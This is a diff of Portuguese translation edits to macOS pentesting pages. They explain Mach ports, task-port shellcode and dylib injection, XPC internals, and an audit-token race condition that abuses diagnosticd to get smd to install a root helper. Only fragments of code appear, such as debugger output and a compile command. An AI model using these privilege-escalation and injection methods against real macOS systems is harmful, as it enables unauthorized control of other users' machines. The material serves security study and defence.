-> 0x181d3ac20 <+0>: pacibsp
|
||||
0x181d3ac24 <+4>: sub sp, sp, #0x20
|
||||
0x181d3ac28 <+8>: stp x29, x30, [sp, #0x10]
|
||||
0x181d3ac2c <+12>: add x29, sp, #0x10
|
||||
Alvo 0: (SandboxedShellApp) parado.
|
||||
Target 0: (SandboxedShellApp) stopped.
|
||||
<strong>(lldb) bt
|
||||
</strong>* thread #1, fila = 'com.apple.main-thread', razão de parada = ponto de interrupção 1.1
|
||||
</strong>* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
|
||||
* frame #0: 0x0000000181d3ac20 libsystem_kernel.dylib`mach_msg
|
||||
frame #1: 0x0000000181ac3454 libxpc.dylib`_xpc_pipe_mach_msg + 56
|
||||
frame #2: 0x0000000181ac2c8c libxpc.dylib`_xpc_pipe_routine + 388
|
||||
@ -268,7 +268,7 @@ name ipc-object rights flags boost reqs recv send sonce oref q
|
||||
[...]
|
||||
```
|
||||
O **nome** é o nome padrão dado à porta (verifique como está **aumentando** nos primeiros 3 bytes). O **`ipc-object`** é o **identificador** único **ofuscado** da porta.\
|
||||
Note também como as portas com apenas o direito de **`send`** estão **identificando o proprietário** delas (nome da porta + pid).\
|
||||
Note também como as portas com apenas o direito de **`send`** estão **identificando o proprietário** dela (nome da porta + pid).\
|
||||
Também note o uso de **`+`** para indicar **outras tarefas conectadas à mesma porta**.
|
||||
|
||||
Também é possível usar [**procesxp**](https://www.newosxbook.com/tools/procexp.html) para ver também os **nomes de serviços registrados** (com SIP desativado devido à necessidade de `com.apple.system-task-port`):
|
||||
@ -407,24 +407,24 @@ printf("Sent a message\n");
|
||||
|
||||
## Portas Privilegiadas
|
||||
|
||||
Existem algumas portas especiais que permitem **realizar certas ações sensíveis ou acessar certos dados sensíveis** caso uma tarefa tenha as permissões **SEND** sobre elas. Isso torna essas portas muito interessantes do ponto de vista de um atacante, não apenas por causa das capacidades, mas porque é possível **compartilhar permissões SEND entre tarefas**.
|
||||
Existem algumas portas especiais que permitem **realizar certas ações sensíveis ou acessar certos dados sensíveis** caso uma tarefa tenha as permissões de **SEND** sobre elas. Isso torna essas portas muito interessantes do ponto de vista de um atacante, não apenas por causa das capacidades, mas porque é possível **compartilhar permissões de SEND entre tarefas**.
|
||||
|
||||
### Portas Especiais do Host
|
||||
|
||||
Essas portas são representadas por um número.
|
||||
|
||||
Os direitos **SEND** podem ser obtidos chamando **`host_get_special_port`** e os direitos **RECEIVE** chamando **`host_set_special_port`**. No entanto, ambas as chamadas requerem a porta **`host_priv`**, que apenas o root pode acessar. Além disso, no passado, o root podia chamar **`host_set_special_port`** e sequestrar arbitrariamente, o que permitia, por exemplo, contornar assinaturas de código sequestrando `HOST_KEXTD_PORT` (o SIP agora impede isso).
|
||||
Os direitos de **SEND** podem ser obtidos chamando **`host_get_special_port`** e os direitos de **RECEIVE** chamando **`host_set_special_port`**. No entanto, ambas as chamadas requerem a porta **`host_priv`**, que apenas o root pode acessar. Além disso, no passado, o root podia chamar **`host_set_special_port`** e sequestrar arbitrariamente, o que permitia, por exemplo, contornar assinaturas de código sequestrando `HOST_KEXTD_PORT` (o SIP agora impede isso).
|
||||
|
||||
Essas portas são divididas em 2 grupos: As **primeiras 7 portas são de propriedade do kernel**, sendo a 1 `HOST_PORT`, a 2 `HOST_PRIV_PORT`, a 3 `HOST_IO_MASTER_PORT` e a 7 é `HOST_MAX_SPECIAL_KERNEL_PORT`.\
|
||||
As que começam **a partir** do número **8** são **de propriedade de daemons do sistema** e podem ser encontradas declaradas em [**`host_special_ports.h`**](https://opensource.apple.com/source/xnu/xnu-4570.1.46/osfmk/mach/host_special_ports.h.auto.html).
|
||||
|
||||
- **Porta do Host**: Se um processo tiver privilégio **SEND** sobre esta porta, ele pode obter **informações** sobre o **sistema** chamando suas rotinas como:
|
||||
- **Porta do Host**: Se um processo tiver privilégio de **SEND** sobre esta porta, ele pode obter **informações** sobre o **sistema** chamando suas rotinas como:
|
||||
- `host_processor_info`: Obter informações do processador
|
||||
- `host_info`: Obter informações do host
|
||||
- `host_virtual_physical_table_info`: Tabela de páginas Virtual/Física (requer MACH_VMDEBUG)
|
||||
- `host_statistics`: Obter estatísticas do host
|
||||
- `mach_memory_info`: Obter layout da memória do kernel
|
||||
- **Porta Priv do Host**: Um processo com direito **SEND** sobre esta porta pode realizar **ações privilegiadas** como mostrar dados de inicialização ou tentar carregar uma extensão de kernel. O **processo precisa ser root** para obter essa permissão.
|
||||
- **Porta Priv do Host**: Um processo com direito de **SEND** sobre esta porta pode realizar **ações privilegiadas** como mostrar dados de inicialização ou tentar carregar uma extensão de kernel. O **processo precisa ser root** para obter essa permissão.
|
||||
- Além disso, para chamar a API **`kext_request`**, é necessário ter outros direitos **`com.apple.private.kext*`** que são concedidos apenas a binários da Apple.
|
||||
- Outras rotinas que podem ser chamadas são:
|
||||
- `host_get_boot_info`: Obter `machine_boot_info()`
|
||||
@ -451,8 +451,6 @@ world.*/
|
||||
#define TASK_WIRED_LEDGER_PORT 5 /* Wired resource ledger for task. */
|
||||
#define TASK_PAGED_LEDGER_PORT 6 /* Paged resource ledger for task. */
|
||||
```
|
||||
De [aqui](https://web.mit.edu/darwin/src/modules/xnu/osfmk/man/task_get_special_port.html):
|
||||
|
||||
- **TASK_KERNEL_PORT**\[direito de envio da tarefa-própria]: A porta usada para controlar esta tarefa. Usada para enviar mensagens que afetam a tarefa. Esta é a porta retornada por **mach_task_self (veja Tarefas de Porta abaixo)**.
|
||||
- **TASK_BOOTSTRAP_PORT**\[direito de envio de bootstrap]: A porta de bootstrap da tarefa. Usada para enviar mensagens solicitando o retorno de outras portas de serviço do sistema.
|
||||
- **TASK_HOST_NAME_PORT**\[direito de envio do host-próprio]: A porta usada para solicitar informações do host que contém. Esta é a porta retornada por **mach_host_self**.
|
||||
@ -461,7 +459,7 @@ De [aqui](https://web.mit.edu/darwin/src/modules/xnu/osfmk/man/task_get_special_
|
||||
|
||||
### Tarefas de Porta
|
||||
|
||||
Originalmente, Mach não tinha "processos", tinha "tarefas", que eram consideradas mais como um contêiner de threads. Quando Mach foi fundido com o BSD, **cada tarefa foi correlacionada com um processo BSD**. Portanto, cada processo BSD tem os detalhes que precisa para ser um processo e cada tarefa Mach também tem seu funcionamento interno (exceto pelo pid inexistente 0, que é o `kernel_task`).
|
||||
Originalmente, Mach não tinha "processos", tinha "tarefas", que eram consideradas mais como um contêiner de threads. Quando Mach foi fundido com o BSD, **cada tarefa estava correlacionada com um processo BSD**. Portanto, cada processo BSD tem os detalhes que precisa para ser um processo e cada tarefa Mach também tem seu funcionamento interno (exceto pelo pid inexistente 0, que é o `kernel_task`).
|
||||
|
||||
Existem duas funções muito interessantes relacionadas a isso:
|
||||
|
||||
@ -487,8 +485,8 @@ Lembre-se de que, como o **kernel também é uma tarefa**, se alguém conseguir
|
||||
|
||||
- Chame `mach_task_self()` para **obter o nome** para esta porta para a tarefa chamadora. Esta porta é apenas **herdada** através de **`exec()`**; uma nova tarefa criada com `fork()` obtém uma nova porta de tarefa (como um caso especial, uma tarefa também obtém uma nova porta de tarefa após `exec()` em um binário suid). A única maneira de gerar uma tarefa e obter sua porta é realizar a ["dança de troca de porta"](https://robert.sesek.com/2014/1/changes_to_xnu_mach_ipc.html) enquanto faz um `fork()`.
|
||||
- Estas são as restrições para acessar a porta (do `macos_task_policy` do binário `AppleMobileFileIntegrity`):
|
||||
- Se o aplicativo tiver a **`com.apple.security.get-task-allow` entitlement**, processos do **mesmo usuário podem acessar a porta da tarefa** (comumente adicionada pelo Xcode para depuração). O processo de **notarização** não permitirá isso em lançamentos de produção.
|
||||
- Aplicativos com a **`com.apple.system-task-ports`** entitlement podem obter a **porta da tarefa para qualquer** processo, exceto o kernel. Em versões mais antigas, era chamada de **`task_for_pid-allow`**. Isso é concedido apenas a aplicativos da Apple.
|
||||
- Se o aplicativo tiver a **entitlement `com.apple.security.get-task-allow`**, processos do **mesmo usuário podem acessar a porta da tarefa** (comumente adicionada pelo Xcode para depuração). O processo de **notarização** não permitirá isso em lançamentos de produção.
|
||||
- Aplicativos com a **entitlement `com.apple.system-task-ports`** podem obter a **porta da tarefa para qualquer** processo, exceto o kernel. Em versões mais antigas, era chamada de **`task_for_pid-allow`**. Isso é concedido apenas a aplicativos da Apple.
|
||||
- **Root pode acessar portas de tarefa** de aplicativos **não** compilados com um runtime **endurecido** (e não da Apple).
|
||||
|
||||
**A porta do nome da tarefa:** Uma versão não privilegiada da _porta da tarefa_. Ela referencia a tarefa, mas não permite controlá-la. A única coisa que parece estar disponível através dela é `task_info()`.
|
||||
@ -510,7 +508,6 @@ Qualquer thread pode obter esta porta chamando **`mach_thread_sef`**.
|
||||
|
||||
Você pode pegar um shellcode de:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../../macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
|
||||
{{#endref}}
|
||||
@ -771,13 +768,13 @@ gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
|
||||
./inject <pi or string>
|
||||
```
|
||||
> [!TIP]
|
||||
> Para que isso funcione no iOS, você precisa da permissão `dynamic-codesigning` para poder criar um executável de memória gravável.
|
||||
> Para que isso funcione no iOS, você precisa da permissão `dynamic-codesigning` para poder tornar a memória gravável executável.
|
||||
|
||||
### Injeção de Dylib em thread via porta de Tarefa
|
||||
|
||||
No macOS, **threads** podem ser manipuladas via **Mach** ou usando a **api posix `pthread`**. A thread que geramos na injeção anterior foi gerada usando a api Mach, então **não é compatível com posix**.
|
||||
|
||||
Foi possível **injetar um shellcode simples** para executar um comando porque **não precisava funcionar com apis** compatíveis com posix, apenas com Mach. **Injeções mais complexas** precisariam que a **thread** também fosse **compatível com posix**.
|
||||
Foi possível **injetar um shellcode simples** para executar um comando porque **não precisava trabalhar com apis** compatíveis com posix, apenas com Mach. **Injeções mais complexas** precisariam que a **thread** também fosse **compatível com posix**.
|
||||
|
||||
Portanto, para **melhorar a thread**, ela deve chamar **`pthread_create_from_mach_thread`**, que irá **criar um pthread válido**. Então, esse novo pthread poderia **chamar dlopen** para **carregar um dylib** do sistema, assim, em vez de escrever um novo shellcode para realizar diferentes ações, é possível carregar bibliotecas personalizadas.
|
||||
|
||||
@ -1096,9 +1093,9 @@ Para modificar valores, o subsistema `clock_priv` pode ser usado com funções c
|
||||
|
||||
### Processadores e Conjunto de Processadores
|
||||
|
||||
As APIs de processador permitem controlar um único processador lógico chamando funções como `processor_start`, `processor_exit`, `processor_info`, `processor_get_assignment`...
|
||||
As APIs do processador permitem controlar um único processador lógico chamando funções como `processor_start`, `processor_exit`, `processor_info`, `processor_get_assignment`...
|
||||
|
||||
Além disso, as APIs de **conjunto de processadores** fornecem uma maneira de agrupar múltiplos processadores em um grupo. É possível recuperar o conjunto de processadores padrão chamando **`processor_set_default`**.\
|
||||
Além disso, as APIs do **conjunto de processadores** fornecem uma maneira de agrupar múltiplos processadores em um grupo. É possível recuperar o conjunto de processadores padrão chamando **`processor_set_default`**.\
|
||||
Estas são algumas APIs interessantes para interagir com o conjunto de processadores:
|
||||
|
||||
- `processor_set_statistics`
|
||||
@ -1108,7 +1105,7 @@ Estas são algumas APIs interessantes para interagir com o conjunto de processad
|
||||
- `processor_set_info`
|
||||
|
||||
Como mencionado em [**este post**](https://reverse.put.as/2014/05/05/about-the-processor_set_tasks-access-to-kernel-memory-vulnerability/), no passado isso permitia contornar a proteção mencionada anteriormente para obter portas de tarefa em outros processos para controlá-los chamando **`processor_set_tasks`** e obtendo uma porta de host em cada processo.\
|
||||
Hoje em dia, você precisa de root para usar essa função e isso é protegido, então você só poderá obter essas portas em processos não protegidos.
|
||||
Hoje em dia, você precisa ser root para usar essa função e isso é protegido, então você só poderá obter essas portas em processos não protegidos.
|
||||
|
||||
Você pode tentar com:
|
||||
|
||||
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
## Informações Básicas
|
||||
|
||||
XPC, que significa Comunicação Inter-Processo do XNU (o kernel usado pelo macOS), é uma estrutura para **comunicação entre processos** no macOS e iOS. O XPC fornece um mecanismo para fazer **chamadas de método seguras e assíncronas entre diferentes processos** no sistema. É parte do paradigma de segurança da Apple, permitindo a **criação de aplicativos com privilégios separados**, onde cada **componente** é executado com **apenas as permissões necessárias** para realizar seu trabalho, limitando assim o potencial de dano de um processo comprometido.
|
||||
XPC, que significa Comunicação Inter-Processo do XNU (o kernel usado pelo macOS), é uma estrutura para **comunicação entre processos** no macOS e iOS. O XPC fornece um mecanismo para fazer **chamadas de método seguras e assíncronas entre diferentes processos** no sistema. É parte do paradigma de segurança da Apple, permitindo a **criação de aplicativos com separação de privilégios** onde cada **componente** é executado com **apenas as permissões necessárias** para realizar seu trabalho, limitando assim o potencial de dano de um processo comprometido.
|
||||
|
||||
O XPC usa uma forma de Comunicação Inter-Processo (IPC), que é um conjunto de métodos para diferentes programas em execução no mesmo sistema trocarem dados.
|
||||
|
||||
@ -20,7 +20,7 @@ A única **desvantagem** é que **separar um aplicativo em vários processos** q
|
||||
|
||||
Os componentes XPC de um aplicativo estão **dentro do próprio aplicativo.** Por exemplo, no Safari, você pode encontrá-los em **`/Applications/Safari.app/Contents/XPCServices`**. Eles têm a extensão **`.xpc`** (como **`com.apple.Safari.SandboxBroker.xpc`**) e também são **pacotes** com o binário principal dentro dele: `/Applications/Safari.app/Contents/XPCServices/com.apple.Safari.SandboxBroker.xpc/Contents/MacOS/com.apple.Safari.SandboxBroker` e um `Info.plist: /Applications/Safari.app/Contents/XPCServices/com.apple.Safari.SandboxBroker.xpc/Contents/Info.plist`
|
||||
|
||||
Como você pode estar pensando, um **componente XPC terá diferentes direitos e privilégios** do que os outros componentes XPC ou o binário principal do aplicativo. EXCETO se um serviço XPC for configurado com [**JoinExistingSession**](https://developer.apple.com/documentation/bundleresources/information_property_list/xpcservice/joinexistingsession) definido como “True” em seu arquivo **Info.plist**. Nesse caso, o serviço XPC será executado na **mesma sessão de segurança que o aplicativo** que o chamou.
|
||||
Como você pode estar pensando, um **componente XPC terá diferentes direitos e privilégios** do que os outros componentes XPC ou o binário principal do aplicativo. EXCETO se um serviço XPC for configurado com [**JoinExistingSession**](https://developer.apple.com/documentation/bundleresources/information_property_list/xpcservice/joinexistingsession) definido como “True” em seu **arquivo Info.plist**. Nesse caso, o serviço XPC será executado na **mesma sessão de segurança que o aplicativo** que o chamou.
|
||||
|
||||
Os serviços XPC são **iniciados** pelo **launchd** quando necessário e **encerrados** uma vez que todas as tarefas estão **concluídas** para liberar recursos do sistema. **Componentes XPC específicos do aplicativo só podem ser utilizados pelo aplicativo**, reduzindo assim o risco associado a potenciais vulnerabilidades.
|
||||
|
||||
@ -68,7 +68,7 @@ Os que estão em **`LaunchDameons`** são executados pelo root. Portanto, se um
|
||||
|
||||
- **`xpc_object_t`**
|
||||
|
||||
Cada mensagem XPC é um objeto dicionário que simplifica a serialização e deserialização. Além disso, `libxpc.dylib` declara a maioria dos tipos de dados, então é possível garantir que os dados recebidos sejam do tipo esperado. Na API C, cada objeto é um `xpc_object_t` (e seu tipo pode ser verificado usando `xpc_get_type(object)`).\
|
||||
Cada mensagem XPC é um objeto dicionário que simplifica a serialização e desserialização. Além disso, `libxpc.dylib` declara a maioria dos tipos de dados, então é possível garantir que os dados recebidos sejam do tipo esperado. Na API C, cada objeto é um `xpc_object_t` (e seu tipo pode ser verificado usando `xpc_get_type(object)`).\
|
||||
Além disso, a função `xpc_copy_description(object)` pode ser usada para obter uma representação em string do objeto que pode ser útil para fins de depuração.\
|
||||
Esses objetos também têm alguns métodos que podem ser chamados, como `xpc_<object>_copy`, `xpc_<object>_equal`, `xpc_<object>_hash`, `xpc_<object>_serialize`, `xpc_<object>_deserialize`...
|
||||
|
||||
@ -103,20 +103,20 @@ Este arquivo possui outras chaves de configuração, como `ServiceType`, que pod
|
||||
|
||||
### Iniciando um Serviço
|
||||
|
||||
O aplicativo tenta **conectar** a um serviço XPC usando `xpc_connection_create_mach_service`, então o launchd localiza o daemon e inicia o **`xpcproxy`**. O **`xpcproxy`** impõe as restrições configuradas e gera o serviço com os FDs e portas Mach fornecidos.
|
||||
O aplicativo tenta **conectar** a um serviço XPC usando `xpc_connection_create_mach_service`, então o launchd localiza o daemon e inicia **`xpcproxy`**. **`xpcproxy`** impõe restrições configuradas e gera o serviço com os FDs e portas Mach fornecidos.
|
||||
|
||||
Para melhorar a velocidade da busca pelo serviço XPC, um cache é utilizado.
|
||||
|
||||
É possível rastrear as ações do `xpcproxy` usando:
|
||||
É possível rastrear as ações de `xpcproxy` usando:
|
||||
```bash
|
||||
supraudit S -C -o /tmp/output /dev/auditpipe
|
||||
```
|
||||
A biblioteca XPC usa `kdebug` para registrar ações chamando `xpc_ktrace_pid0` e `xpc_ktrace_pid1`. Os códigos que utiliza não são documentados, então é necessário adicioná-los em `/usr/share/misc/trace.codes`. Eles têm o prefixo `0x29` e, por exemplo, um deles é `0x29000004`: `XPC_serializer_pack`.\
|
||||
A biblioteca XPC usa `kdebug` para registrar ações chamando `xpc_ktrace_pid0` e `xpc_ktrace_pid1`. Os códigos que utiliza não são documentados, então é necessário adicioná-los em `/usr/share/misc/trace.codes`. Eles têm o prefixo `0x29` e, por exemplo, um é `0x29000004`: `XPC_serializer_pack`.\
|
||||
A utilidade `xpcproxy` usa o prefixo `0x22`, por exemplo: `0x2200001c: xpcproxy:will_do_preexec`.
|
||||
|
||||
## Mensagens de Evento XPC
|
||||
|
||||
Aplicativos podem **se inscrever** em diferentes **mensagens de evento**, permitindo que sejam **iniciadas sob demanda** quando tais eventos ocorrem. A **configuração** para esses serviços é feita em arquivos **plist do launchd**, localizados nos **mesmos diretórios que os anteriores** e contendo uma chave extra **`LaunchEvent`**.
|
||||
Aplicativos podem **se inscrever** em diferentes **mensagens de evento**, permitindo que sejam **iniciadas sob demanda** quando tais eventos ocorrem. A **configuração** para esses serviços é feita em arquivos **plist do launchd**, localizados nas **mesmas diretórios que os anteriores** e contendo uma chave extra **`LaunchEvent`**.
|
||||
|
||||
### Verificação do Processo de Conexão XPC
|
||||
|
||||
@ -440,7 +440,7 @@ return;
|
||||
## Remote XPC
|
||||
|
||||
Essa funcionalidade fornecida pelo `RemoteXPC.framework` (do `libxpc`) permite comunicar via XPC entre diferentes hosts.\
|
||||
Os serviços que suportam XPC remoto terão em seu plist a chave UsesRemoteXPC, como é o caso de `/System/Library/LaunchDaemons/com.apple.SubmitDiagInfo.plist`. No entanto, embora o serviço seja registrado com `launchd`, é o `UserEventAgent` com os plugins `com.apple.remoted.plugin` e `com.apple.remoteservicediscovery.events.plugin` que fornece a funcionalidade.
|
||||
Os serviços que suportam XPC remoto terão em seu plist a chave UsesRemoteXPC, como é o caso de `/System/Library/LaunchDaemons/com.apple.SubmitDiagInfo.plist`. No entanto, embora o serviço esteja registrado com `launchd`, é o `UserEventAgent` com os plugins `com.apple.remoted.plugin` e `com.apple.remoteservicediscovery.events.plugin` que fornece a funcionalidade.
|
||||
|
||||
Além disso, o `RemoteServiceDiscovery.framework` permite obter informações do `com.apple.remoted.plugin`, expondo funções como `get_device`, `get_unique_device`, `connect`...
|
||||
|
||||
|
||||
@ -252,7 +252,7 @@ Você pode encontrar **todas as configurações de permissões** [**aqui**](http
|
||||
- Esta é a chave mais direta. Se definida como `false`, especifica que um usuário não precisa fornecer autenticação para obter esse direito.
|
||||
- Isso é usado em **combinação com uma das 2 abaixo ou indicando um grupo** ao qual o usuário deve pertencer.
|
||||
2. **'allow-root': 'true'**
|
||||
- Se um usuário estiver operando como o usuário root (que tem permissões elevadas), e esta chave estiver definida como `true`, o usuário root poderia potencialmente obter esse direito sem mais autenticação. No entanto, tipicamente, alcançar o status de usuário root já requer autenticação, então este não é um cenário de "sem autenticação" para a maioria dos usuários.
|
||||
- Se um usuário estiver operando como o usuário root (que tem permissões elevadas), e esta chave estiver definida como `true`, o usuário root poderia potencialmente obter esse direito sem mais autenticação. No entanto, tipicamente, alcançar um status de usuário root já requer autenticação, então este não é um cenário de "sem autenticação" para a maioria dos usuários.
|
||||
3. **'session-owner': 'true'**
|
||||
- Se definida como `true`, o proprietário da sessão (o usuário atualmente logado) obteria automaticamente esse direito. Isso pode contornar a autenticação adicional se o usuário já estiver logado.
|
||||
4. **'shared': 'true'**
|
||||
|
||||
@ -38,7 +38,7 @@ macos-xpc_connection_get_audit_token-attack.md
|
||||
|
||||
### Trustcache - Downgrade Attacks Prevention
|
||||
|
||||
Trustcache é um método defensivo introduzido em máquinas Apple Silicon que armazena um banco de dados de CDHSAH de binários da Apple, de modo que apenas binários não modificados permitidos possam ser executados. Isso previne a execução de versões anteriores.
|
||||
Trustcache é um método defensivo introduzido em máquinas Apple Silicon que armazena um banco de dados de CDHSAH de binários da Apple, de modo que apenas binários não modificados permitidos possam ser executados. Isso previne a execução de versões de downgrade.
|
||||
|
||||
### Code Examples
|
||||
|
||||
|
||||
@ -13,7 +13,7 @@ Se você não sabe o que são Mensagens Mach, comece a verificar esta página:
|
||||
{{#endref}}
|
||||
|
||||
Por enquanto, lembre-se que ([definição daqui](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)):\
|
||||
Mensagens Mach são enviadas através de um _mach port_, que é um canal de comunicação **de receptor único e múltiplos remetentes** incorporado no kernel mach. **Múltiplos processos podem enviar mensagens** para um mach port, mas em qualquer momento **apenas um único processo pode ler a partir dele**. Assim como descritores de arquivo e sockets, mach ports são alocados e gerenciados pelo kernel e os processos veem apenas um inteiro, que podem usar para indicar ao kernel qual dos seus mach ports desejam usar.
|
||||
Mensagens Mach são enviadas através de um _mach port_, que é um canal de comunicação **de receptor único e múltiplos remetentes** incorporado no kernel mach. **Múltiplos processos podem enviar mensagens** para um mach port, mas em qualquer momento **apenas um único processo pode ler a partir dele**. Assim como descritores de arquivo e sockets, mach ports são alocados e gerenciados pelo kernel e os processos veem apenas um inteiro, que podem usar para indicar ao kernel qual de seus mach ports desejam usar.
|
||||
|
||||
## Conexão XPC
|
||||
|
||||
@ -33,7 +33,7 @@ O que é interessante saber é que **a abstração do XPC é uma conexão um-par
|
||||
|
||||
Embora a situação anterior pareça promissora, existem alguns cenários onde isso não causará problemas ([daqui](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)):
|
||||
|
||||
- Tokens de auditoria são frequentemente usados para uma verificação de autorização para decidir se aceitam uma conexão. Como isso acontece usando uma mensagem para o serviço port, **nenhuma conexão foi estabelecida ainda**. Mais mensagens nesse port serão tratadas apenas como solicitações de conexão adicionais. Portanto, quaisquer **verificações antes de aceitar uma conexão não são vulneráveis** (isso também significa que dentro de `-listener:shouldAcceptNewConnection:` o token de auditoria está seguro). Portanto, estamos **procurando conexões XPC que verificam ações específicas**.
|
||||
- Tokens de auditoria são frequentemente usados para uma verificação de autorização para decidir se aceitam uma conexão. Como isso acontece usando uma mensagem para o port de serviço, **nenhuma conexão foi estabelecida ainda**. Mais mensagens nesse port serão tratadas apenas como solicitações de conexão adicionais. Portanto, quaisquer **verificações antes de aceitar uma conexão não são vulneráveis** (isso também significa que dentro de `-listener:shouldAcceptNewConnection:` o token de auditoria está seguro). Portanto, estamos **procurando conexões XPC que verificam ações específicas**.
|
||||
- Manipuladores de eventos XPC são tratados de forma síncrona. Isso significa que o manipulador de eventos para uma mensagem deve ser concluído antes de chamá-lo para a próxima, mesmo em filas de despacho concorrentes. Portanto, dentro de um **manipulador de eventos XPC, o token de auditoria não pode ser sobrescrito** por outras mensagens normais (não de resposta!).
|
||||
|
||||
Dois métodos diferentes que podem ser exploráveis:
|
||||
@ -42,15 +42,15 @@ Dois métodos diferentes que podem ser exploráveis:
|
||||
- **Exploit** **conecta-se** ao serviço **A** e ao serviço **B**
|
||||
- O serviço **B** pode chamar uma **funcionalidade privilegiada** no serviço A que o usuário não pode
|
||||
- O serviço **A** chama **`xpc_connection_get_audit_token`** enquanto _**não**_ está dentro do **manipulador de eventos** para uma conexão em um **`dispatch_async`**.
|
||||
- Assim, uma **mensagem diferente** poderia **sobrescrever o Token de Auditoria** porque está sendo despachada assíncronamente fora do manipulador de eventos.
|
||||
- Assim, uma **mensagem diferente** poderia **sobrescrever o Token de Auditoria** porque está sendo despachada de forma assíncrona fora do manipulador de eventos.
|
||||
- O exploit passa para **o serviço B o direito de ENVIO para o serviço A**.
|
||||
- Assim, o svc **B** estará realmente **enviando** as **mensagens** para o serviço **A**.
|
||||
- O **exploit** tenta **chamar** a **ação privilegiada**. Em um RC, o svc **A** **verifica** a autorização dessa **ação** enquanto **svc B sobrescreveu o Token de Auditoria** (dando ao exploit acesso para chamar a ação privilegiada).
|
||||
2. Variante 2:
|
||||
- O serviço **B** pode chamar uma **funcionalidade privilegiada** no serviço A que o usuário não pode
|
||||
- O exploit conecta-se com **o serviço A**, que **envia** ao exploit uma **mensagem esperando uma resposta** em um **port de resposta** específico.
|
||||
- O exploit conecta-se ao **serviço A**, que **envia** ao exploit uma **mensagem esperando uma resposta** em um **port de resposta** específico.
|
||||
- O exploit envia ao **serviço** B uma mensagem passando **aquele port de resposta**.
|
||||
- Quando o serviço **B responde**, ele **envia a mensagem para o serviço A**, **enquanto** o **exploit** envia uma mensagem diferente para o serviço A tentando **alcançar uma funcionalidade privilegiada** e esperando que a resposta do serviço B sobrescreva o Token de Auditoria no momento perfeito (Condição de Corrida).
|
||||
- Quando o serviço **B responde**, ele **envia a mensagem para o serviço A**, **enquanto** o **exploit** envia uma **mensagem diferente para o serviço A** tentando **acessar uma funcionalidade privilegiada** e esperando que a resposta do serviço B sobrescreva o Token de Auditoria no momento perfeito (Condição de Corrida).
|
||||
|
||||
## Variante 1: chamando xpc_connection_get_audit_token fora de um manipulador de eventos <a href="#variant-1-calling-xpc_connection_get_audit_token-outside-of-an-event-handler" id="variant-1-calling-xpc_connection_get_audit_token-outside-of-an-event-handler"></a>
|
||||
|
||||
@ -58,7 +58,7 @@ Cenário:
|
||||
|
||||
- Dois serviços mach **`A`** e **`B`** aos quais podemos nos conectar (com base no perfil de sandbox e nas verificações de autorização antes de aceitar a conexão).
|
||||
- _**A**_ deve ter uma **verificação de autorização** para uma ação específica que **`B`** pode passar (mas nosso aplicativo não pode).
|
||||
- Por exemplo, se B tiver algumas **autorizações** ou estiver rodando como **root**, isso pode permitir que ele peça a A para realizar uma ação privilegiada.
|
||||
- Por exemplo, se B tiver algumas **entitlements** ou estiver rodando como **root**, isso pode permitir que ele peça a A para realizar uma ação privilegiada.
|
||||
- Para essa verificação de autorização, **`A`** obtém o token de auditoria de forma assíncrona, por exemplo, chamando `xpc_connection_get_audit_token` de **`dispatch_async`**.
|
||||
|
||||
> [!CAUTION]
|
||||
@ -66,7 +66,7 @@ Cenário:
|
||||
|
||||
Isso aconteceu com **`A`** como `smd` e **`B`** como `diagnosticd`. A função [`SMJobBless`](https://developer.apple.com/documentation/servicemanagement/1431078-smjobbless?language=objc) do smb pode ser usada para instalar um novo helper privilegiado (como **root**). Se um **processo rodando como root contatar** **smd**, nenhuma outra verificação será realizada.
|
||||
|
||||
Portanto, o serviço **B** é **`diagnosticd`** porque roda como **root** e pode ser usado para **monitorar** um processo, então, uma vez que a monitorização tenha começado, ele **enviará várias mensagens por segundo.**
|
||||
Portanto, o serviço **B** é **`diagnosticd`** porque roda como **root** e pode ser usado para **monitorar** um processo, então, uma vez que a monitoração tenha começado, ele **enviará várias mensagens por segundo.**
|
||||
|
||||
Para realizar o ataque:
|
||||
|
||||
@ -76,7 +76,7 @@ Para realizar o ataque:
|
||||
|
||||
|
||||
|
||||
4. O próximo passo envolve instruir `diagnosticd` a iniciar a monitorização de um processo escolhido (potencialmente o próprio do usuário). Simultaneamente, um fluxo de mensagens rotineiras 1004 é enviado para `smd`. A intenção aqui é instalar uma ferramenta com privilégios elevados.
|
||||
4. O próximo passo envolve instruir `diagnosticd` a iniciar a monitoração de um processo escolhido (potencialmente o próprio do usuário). Simultaneamente, um fluxo de mensagens rotineiras 1004 é enviado para `smd`. A intenção aqui é instalar uma ferramenta com privilégios elevados.
|
||||
5. Essa ação desencadeia uma condição de corrida dentro da função `handle_bless`. O tempo é crítico: a chamada da função `xpc_connection_get_pid` deve retornar o PID do processo do usuário (já que a ferramenta privilegiada reside no pacote do aplicativo do usuário). No entanto, a função `xpc_connection_get_audit_token`, especificamente dentro da sub-rotina `connection_is_authorized`, deve referenciar o token de auditoria pertencente a `diagnosticd`.
|
||||
|
||||
## Variante 2: encaminhamento de resposta
|
||||
|
||||
@ -15,23 +15,23 @@ macos-dyld-process.md
|
||||
|
||||
## **DYLD_INSERT_LIBRARIES**
|
||||
|
||||
Isso é como o [**LD_PRELOAD no Linux**](../../../../linux-hardening/privilege-escalation/index.html#ld_preload). Permite indicar a um processo que vai ser executado para carregar uma biblioteca específica de um caminho (se a variável de ambiente estiver habilitada)
|
||||
Isso é como o [**LD_PRELOAD no Linux**](../../../../linux-hardening/privilege-escalation/index.html#ld_preload). Permite indicar um processo que vai ser executado para carregar uma biblioteca específica de um caminho (se a variável de ambiente estiver habilitada)
|
||||
|
||||
Essa técnica também pode ser **usada como uma técnica ASEP** já que toda aplicação instalada tem um plist chamado "Info.plist" que permite a **atribuição de variáveis ambientais** usando uma chave chamada `LSEnvironmental`.
|
||||
Essa técnica também pode ser **usada como uma técnica ASEP** já que cada aplicativo instalado tem um plist chamado "Info.plist" que permite a **atribuição de variáveis ambientais** usando uma chave chamada `LSEnvironmental`.
|
||||
|
||||
> [!TIP]
|
||||
> Desde 2012, **a Apple reduziu drasticamente o poder** do **`DYLD_INSERT_LIBRARIES`**.
|
||||
>
|
||||
